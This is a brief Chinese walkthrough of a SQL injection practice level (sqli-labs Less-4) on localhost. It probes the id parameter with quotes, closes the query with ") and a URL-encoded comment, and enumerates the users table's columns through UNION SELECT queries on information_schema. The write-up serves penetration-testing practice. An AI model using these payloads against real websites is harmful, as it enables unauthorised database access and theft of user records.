提交id参数
加‘
http://localhost/sqli/Less-4/?id=1‘
页面正常，添加"
http://localhost/sqli/Less-4/?id=1"
对应的sql语句应为
select ... from ... where xx=("1") limit 0,1
构造
select ... from ... where xx=("1")#") limit 0,1
对应的GET请求
http://localhost/sqli/Less-4/?id=1")%23
http://localhost/sqli/Less-4/?id=a") union select 1,2,3%23
接下来又是走流程了
http://localhost/sqli/Less-4/?id=a") union select 1,2,column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23
